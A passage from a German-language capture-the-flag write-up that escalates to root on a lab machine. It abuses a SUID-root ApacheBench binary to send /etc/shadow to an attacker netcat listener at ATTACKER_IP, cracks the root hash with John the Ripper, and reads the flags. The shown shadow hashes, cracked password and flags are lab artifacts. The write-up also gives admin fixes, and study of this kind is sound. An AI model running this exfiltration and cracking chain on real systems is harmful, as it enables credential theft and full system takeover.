quigon:$y$j9T$zyvvU9NIXJJe6nIBz6NQS1$WvdsDnrbSrK3DZTV169bIRMDie3YzThjpzX8kT0prrC:19926:0:99999:7:
mysql:!:19925
                      

**Analyse:** Diesmal wird der korrekte `ab`-Befehl verwendet, um `/etc/shadow` an einen Netcat-Listener auf Port 4444 zu senden.

**Bewertung:** **Erfolg!** Der Netcat-Listener empfängt die POST-Anfrage, und der Body der Anfrage enthält den vollständigen Inhalt der `/etc/shadow`-Datei, einschließlich der Passwort-Hashes für `root`, `jarjar`, `obiwan` und `quigon` (Format `$y$` deutet auf yescrypt hin).

**Empfehlung (Pentester):** Speichern Sie die `/etc/shadow`-Ausgabe. Kombinieren Sie sie mit der zuvor erhaltenen `/etc/passwd` und versuchen Sie, die Hashes (insbesondere den von `root`) mit `john` oder `hashcat` zu knacken.
**Empfehlung (Admin):** SUID-Bit von `ab` entfernen!

┌──(root㉿CCat)-[~] └─# echo 'root:$y$j9T$06k8CpwIHWwvgizpHNH30$VTfTBXChehaq8kPRI5Lhh54LIRXdbkoP3ZxGQaxqZ0:19926:0:99999:7:' > shadow
┌──(root㉿CCat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt shadow --format=crypt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
~
pimpin           (root)     
~
1g 0:00:00:12 0.01% (ETA: 2024-09-02 21:01) 0.08012g/s 138.4p/s 484.6c/s 484.6C/s fender..freaky
                     

**Analyse:** Der Root-Hash aus der exfiltrierten Shadow-Datei wird in eine lokale Datei `shadow` geschrieben. John the Ripper wird mit `rockyou.txt` und dem Format `crypt` darauf angesetzt.

**Bewertung:** **Erfolg!** John knackt das Root-Passwort: `pimpin`.

**Empfehlung (Pentester):** Verwenden Sie `su root` mit dem Passwort `pimpin` in der `jarjar`-Shell, um Root-Rechte zu erlangen.
**Empfehlung (Admin):** Verwenden Sie starke Root-Passwörter! Beheben Sie die SUID-Schwachstelle.

jarjar@jarjar:/etc$ su root
Password: pimpin
root@jarjar:/etc#

**Analyse:** Der `su root`-Befehl wird ausgeführt und das geknackte Passwort `pimpin` eingegeben.

**Bewertung:** **Privilege Escalation erfolgreich!** Wir erhalten eine Root-Shell (erkennbar am Prompt `#`).

**Empfehlung (Pentester):** Ziel erreicht! Suchen Sie die Root-Flag.
**Empfehlung (Admin):** Root-Passwort ändern, SUID-Schwachstelle beheben.

Proof of Concept (Privilege Escalation): SUID `ab` to Shadow Read

**Kurzbeschreibung:** Die Binary `/usr/bin/ab` (ApacheBench) hatte fälschlicherweise SUID-Root-Rechte gesetzt. Die Option `-p` von `ab` erlaubt das Senden des Inhalts einer lokalen Datei als POST-Body an eine angegebene URL. Durch Angabe von `/etc/shadow` als zu sendende Datei (`-p /etc/shadow`) und einem vom Angreifer kontrollierten Listener (Netcat) als Ziel-URL konnte der Inhalt der Shadow-Datei, einschließlich des Root-Passwort-Hashes, exfiltriert werden. Der Root-Hash wurde anschließend offline mit John the Ripper und einer Wortliste geknackt, was das Root-Passwort (`pimpin`) preisgab und den Login via `su` ermöglichte.
**Voraussetzungen:**

**Erwartetes Ergebnis:** Extraktion des Inhalts von `/etc/shadow`, erfolgreiches Knacken des Root-Passwort-Hashes und Erlangen einer Root-Shell mittels `su root`.

**Schritte (Zusammenfassung):**

  1. Identifizieren von `/usr/bin/ab` als SUID-Root-Binary (`find / ...`).
  2. Starten eines Netcat-Listeners auf dem Angreifersystem (`nc -lvnp 4444`).
  3. Ausführen von `/usr/bin/ab -p /etc/shadow http://ATTACKER_IP:4444/shadow` auf dem Zielsystem.
  4. Empfangen des `/etc/shadow`-Inhalts auf dem Listener.
  5. Extrahieren des Root-Hashes.
  6. Knacken des Hashes mit `john --wordlist=rockyou.txt ...` (Passwort: `pimpin`).
  7. Ausführen von `su root` und Eingabe des geknackten Passworts.
  8. Erlangen einer Root-Shell.

**Risikobewertung:** Hoch. Eine unsichere SUID-Berechtigung ermöglichte das Auslesen der Shadow-Datei und das anschließende Knacken des Root-Passworts, was zur vollständigen Kompromittierung des Systems führte.
**Empfehlungen:**

Flags

jarjar@jarjar:/etc$ cat ~/user.txt
cd3afd21332e0ea7c8a47ff6a26387e1
root@jarjar:~# ls
r00t.txt
root@jarjar:~# cat r00t.txt
322f07d15f30d1c4e3009dc5f2decb0f

**Analyse:** Nach Erlangung der Root-Rechte wird die User-Flag aus `/home/jarjar/user.txt` (bereits vorher gelesen) und die Root-Flag aus `/root/r00t.txt` ausgelesen.

**Bewertung:** Beide Flags wurden erfolgreich gefunden und erfasst. Die Aufgabe ist abgeschlossen.

**Empfehlung (Pentester):** Dokumentieren Sie die Flags und den gesamten Prozess im Bericht.
**Empfehlung (Admin):** Stellen Sie sicher, dass alle identifizierten Schwachstellen (LFI, ungeschützter SSH-Schlüssel, SUID auf `ab`) behoben sind. Ändern Sie alle relevanten Passwörter.